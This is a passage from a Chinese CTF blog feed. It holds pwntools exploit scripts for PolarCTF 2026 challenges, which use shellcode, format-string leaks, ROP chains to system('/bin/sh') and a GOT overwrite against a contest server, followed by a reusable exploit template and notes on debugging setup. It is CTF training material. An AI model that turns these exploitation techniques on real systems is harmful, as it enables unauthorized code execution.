terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./sandbox1&#x27;<br>#libc_file=&#x27;&#x27;<br>elf=ELF(pwn_file)<br>#libc=ELF(libc_file)<br>#rop=ROP(libc)<br><br>flag=0<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;1.95.36.136&#x27;<br>    port=2098<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br>bss_addr = elf.bss()+0x100<br>addr = 0x8108000<br><br>shellcode = orw(&#x27;./flag&#x27;,bss_addr,0x100)<br>sl(shellcode)<br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><h1 id="zero"><a href="#zero" class="headerlink" title="zero"></a>zero</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;i386&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./zero&#x27;<br>#libc_file=&#x27;&#x27;<br>elf=ELF(pwn_file)<br>#libc=ELF(libc_file)<br>#rop=ROP(libc)<br><br>flag=0<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;1.95.36.136&#x27;<br>    port=2139<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br>polar_addr = 0x00002080 <br>io.recvuntil(&quot;0x&quot;)<br>base_addr=int(io.recv(8),16) - polar_addr<br>leak(&#x27;base_addr&#x27;,base_addr)<br>xin_addr = base_addr + 0x000008C0<br>p0 = cyclic(0x6c + 4) + p32(xin_addr)<br>sl(p0)<br>sl(b&quot;$0&quot;)<br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><h1 id="bllhl-canary"><a href="#bllhl-canary" class="headerlink" title="bllhl_canary"></a>bllhl_canary</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;amd64&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;)#, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./bllhl_canary&#x27;<br>libc_file=&#x27;./bllhl_canary.so.6&#x27;<br>elf=ELF(pwn_file)<br>libc=ELF(libc_file)<br>rop=ROP(libc)<br><br>flag=0<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;1.95.36.136&#x27;<br>    port=2092<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>i6      =lambda data: int(data, 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br><br>p0=b&#x27;%38$p.%39$p.%41$p.%49$p.kkkk&#x27;<br>s(p0)<br>ru(&quot;[echo] &quot;)<br>a,b,c,libcbase,d=ru(b&#x27;k&#x27;*4).decode().split(&#x27;.&#x27;)<br>a=i6(a)<br>b=i6(b)<br>c=i6(c)<br>libcbase=i6(libcbase)-0x29d90<br><br>leak(&#x27;a&#x27;,a)<br>leak(&#x27;b&#x27;,b)<br>leak(&#x27;c&#x27;,c)<br>leak(&#x27;libcbase&#x27;,libcbase)<br><br>system = libcbase+libc.sym[&#x27;system&#x27;]<br>binsh = libcbase+next(libc.search(b&#x27;/bin/sh&#x27;))<br>rdi = libcbase+rop.find_gadget([&#x27;pop rdi&#x27;, &#x27;ret&#x27;])[0]<br>ret = libcbase+rop.find_gadget([&#x27;ret&#x27;])[0]<br><br>p1 = b&#x27;b&#x27;*0x60+flat(a,b,0,c)+0x18*b&#x27;b&#x27;+flat(ret,rdi,binsh,system)<br>sl(p1)<br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><h1 id="bllhl-fmt"><a href="#bllhl-fmt" class="headerlink" title="bllhl_fmt"></a>bllhl_fmt</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;amd64&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./bllhl_fmt&#x27;<br>libc_file=&#x27;./bllhl_fmt.so.6&#x27;<br>elf=ELF(pwn_file)<br>libc=ELF(libc_file)<br>rop=ROP(libc)<br><br>flag=0<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;1.95.36.136&#x27;<br>    port=2143<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br>p0 = b&quot;%45$p+%43$p&quot;<br>sl(p0)<br>io.recvuntil(&#x27;0x&#x27;)<br>addr_base = int(io.recv(12),16) - 0x0120E<br>io.recvuntil(&#x27;+0x&#x27;)<br>libc_base = int(io.recv(12),16) - 0x29d90<br>leak(&#x27;addr_base&#x27;,addr_base)<br>leak(&#x27;libc_base&#x27;,libc_base)<br><br>system = libc_base+libc.sym[&#x27;system&#x27;]<br>binsh = libc_base+next(libc.search(b&#x27;/bin/sh&#x27;))<br>rdi = libc_base+rop.find_gadget([&#x27;pop rdi&#x27;, &#x27;ret&#x27;])[0]<br>ret = libc_base+rop.find_gadget([&#x27;ret&#x27;])[0]<br><br>st = libc_base + libc.sym[&#x27;environ&#x27;]<br>p1 = b&quot;kkkk%8$s&quot; + p64(st)<br>sl(p1)<br>io.recvuntil(&#x27;kkkk&#x27;)<br>stack_addr = u64(io.recv(6).ljust(8,b&#x27;\x00&#x27;)) - 0x120 - 0x130<br>leak(&#x27;stack_addr&#x27;,stack_addr)<br><br>add58 = libc_base+0x00000000000a0265<br>pay=fmtstr_payload(7,&#123;stack_addr:add58&#125;,numbwritten=8,write_size=&#x27;short&#x27;)<br>pay=pay.ljust(0x50,b&#x27;b&#x27;)+flat(rdi,binsh,ret,system)<br>sl(pay)<br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><h1 id="bllhl-book"><a href="#bllhl-book" class="headerlink" title="bllhl_book"></a>bllhl_book</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;amd64&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./bllhl_book&#x27;<br>libc_file=&#x27;./bllhl_fmt.so.6&#x27;<br>elf=ELF(pwn_file)<br>libc=ELF(libc_file)<br>rop=ROP(libc)<br><br>flag=0<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;1.95.36.136&#x27;<br>    port=2061<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br>def create(s,a,d,f):<br>    sl(b&quot;1&quot;)<br>    sl(str(s))<br>    sl(a)<br>    sl(str(d))<br>    sl(f)<br><br>def rename(a):<br>    sl(b&quot;5&quot;)<br>    sl(a)<br><br>def back():<br>    sl(b&quot;6&quot;)<br><br>def print_book():<br>    sl(b&quot;4&quot;)<br><br>def edit(s,a):<br>    sl(b&quot;3&quot;)<br>    sl(str(s))<br>    sl(a)<br>addr = 0x00404018<br>puts_got = elf.got[&#x27;puts&#x27;]<br>sl(b&quot;haoo&quot;)<br>p0 = b&#x27;b&#x27;<br>p0 = flat(1,puts_got,addr,0x80)<br>create(0x20,b&#x27;b&#x27;,0x60,p0)<br>rename(b&#x27;a&#x27;*0x20)<br>print_book()<br>io.recvuntil(&quot;Name: &quot;)<br>libc_base = u64(io.recv(6).ljust(8,b&#x27;\x00&#x27;)) - libc.sym[&#x27;puts&#x27;]<br>leak(&#x27;libc_base&#x27;,libc_base)<br><br>system = libc_base+libc.sym[&#x27;system&#x27;]<br>binsh = libc_base+next(libc.search(b&#x27;/bin/sh\x00&#x27;))<br>stdout = libc_base+libc.sym[&#x27;_IO_2_1_stdout_&#x27;]<br>edit(1,p64(system)+p64(stdout))<br>rename(b&quot;/bin/sh\x00&quot;)<br>back()<br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><p>后面两道题借鉴了其他师傅的wp，主要我还是太菜了，有些手法还不怎么知道，得继续加强练习了。</p>]]>
    </content>
    <id>http://example.com/2026/03/29/PolarCTF2026%E6%98%A5%E5%AD%A3%E8%B5%9B/</id>
    <link href="http://example.com/2026/03/29/PolarCTF2026%E6%98%A5%E5%AD%A3%E8%B5%9B/"/>
    <published>2026-03-29T03:12:34.000Z</published>
    <summary>
      <![CDATA[<h1 id="one-hundred"><a href="#one-hundred" class="headerlink" title="one_hundred"></a>one_hundred</h1><figure class="highlight plaintext"><]]>
    </summary>
    <title>PolarCTF2026春季赛</title>
    <updated>2026-03-29T03:12:34.693Z</updated>
  </entry>
  <entry>
    <author>
      <name>haoo</name>
    </author>
    <category term="pwn" scheme="http://example.com/categories/pwn/"/>
    <category term="小记" scheme="http://example.com/tags/%E5%B0%8F%E8%AE%B0/"/>
    <content>
      <![CDATA[<p>本文章会持续更新，用于记录pwn过程中，本人觉得值得记录的东西0v0</p><h1 id="pwn的exp简化模板"><a href="#pwn的exp简化模板" class="headerlink" title="pwn的exp简化模板"></a>pwn的exp简化模板</h1><p>该部分记录使用lambda表达式与自定义函数简化exp，便于未来exp的编写。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;&#x27;<br>libc_file=&#x27;&#x27;<br>elf=ELF(pwn_file)<br>libc=ELF(libc_file)<br>rop=ROP(libc)<br><br>flag=1<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;&#x27;<br>    port=<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>uu64    =   lambda data                 : u64(data.ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><p>其中需要注意的是，如果设置terminal为tmux时gdb，需要在tmux下运行exp，且tmux的操作一般先是先输入CTRL+b，再接着输入命令。</p><h1 id="patchelf"><a href="#patchelf" class="headerlink" title="patchelf"></a>patchelf</h1><p>在做pwn题的过程中，有时候本地调试的环境会和远程不一样，从而导致本地通了而远程没通的情况，此时可以使用patchelf或者docker解决相应问题。因为patchelf比较简单，在这里先记录该方法。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">strings ./libc-x.xx | grep ubuntu    //查看版本<br>./download xxxx    //在glibc-all-in-one中下载相应版本<br>patchelf --set-interpreter 文件夹名/ld.so ./pwn    //换掉ld<br>patchelf --set-rpath 文件夹名 ./pwn    //换掉path<br></code></pre></td></tr></table></figure><p>这样一来就patch好了。当然这种方法不是万能的，glibc-all-in-one有些版本没有，有些难题对环境的要求很高，因此后续会记录docker的方法，只要知道了远程的环境，我们就能使用docker部署一个一样的环境在本地调试。</p><h1 id="Docker"><a href="#Docker" class="headerlink" title="Docker"></a>Docker</h1><p>在这里只是简单介绍了docker的一些基础命令，便于在做pwn题时，与远程的环境一致，便于调试之类的。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#启动docker服务<br>sudo service docker start<br>#查看docker状态<br>docker ps<br>#拉取基础镜像<br>docker pull ____<br>#构建镜像<br>docker build -t ____ .<br>#运行镜像<br>docker run -d --rm \<br>  -p 8889:8889 \<br>  --name onlyfgets \<br>  onlyfgets<br>#进入docker容器<br>docker exec -it only_fgets /bin/bash<br>#关闭容器<br>docker stop only_fgets<br></code></pre></td></tr></table></figure><h1 id="大端序和小端序"><a href="#大端序和小端序" class="headerlink" title="大端序和小端序"></a>大端序和小端序</h1><p>在大端序中，高位字节存储在低地址，低位字节存储在高地址。这种排列方式与数据用字节表示时的书写顺序一致，符合人类的阅读习惯。例如，32位整数0x12345678在大端序下的存储顺序如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">低地址（低位） → 高地址（高位）<br><br>0x12 → 0x34 → 0x56 → 0x78<br></code></pre></td></tr></table></figure><p>在小端序中，低位字节存储在低地址，高位字节存储在高地址。小端序与人类的阅读习惯相反，但更符合计算机读取内存的方式，因为CPU读取内存中的数据时，是从低地址向高地址方向进行读取的。例如，32位整数0x12345678在小端序下的存储顺序如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">低地址（低位） → 高地址（高位）<br><br>0x78 → 0x56 → 0x34 → 0x12<br></code></pre></td></tr></table></figure><h1 id="函数"><a href="#函数" class="headerlink" title="函数"></a>函数</h1><h2 id="socket"><a href="#socket" class="headerlink" title="socket"></a>socket</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">python -m http.server 8000<br></code></pre></td></tr></table></figure>]]>
    </content>
    <id>http://example.com/2025/12/03/pwn-%E5%B0%8F%E8%AE%B0/</id>
    <link href="http://example.com/2025/12/03/pwn-%E5%B0%8F%E8%AE%B0/"/>
    <published>2025-12-03T02:42:41.746Z</published>
    <summary>
      <![CDATA[<p>本文章会持续更新，用于记录pwn过程中，本人觉得值得记录的东西0v0</p>
<h1 id="pwn的exp简化模板"><a href="#pwn的exp简化模板" class="headerlink" title="pwn的exp简化模板"></a>pwn的exp简化模板]]>
    </summary>
    <title>pwn_小记</title>
    <updated>2026-04-03T01:43:50.269Z</updated>
  </entry>
</feed>
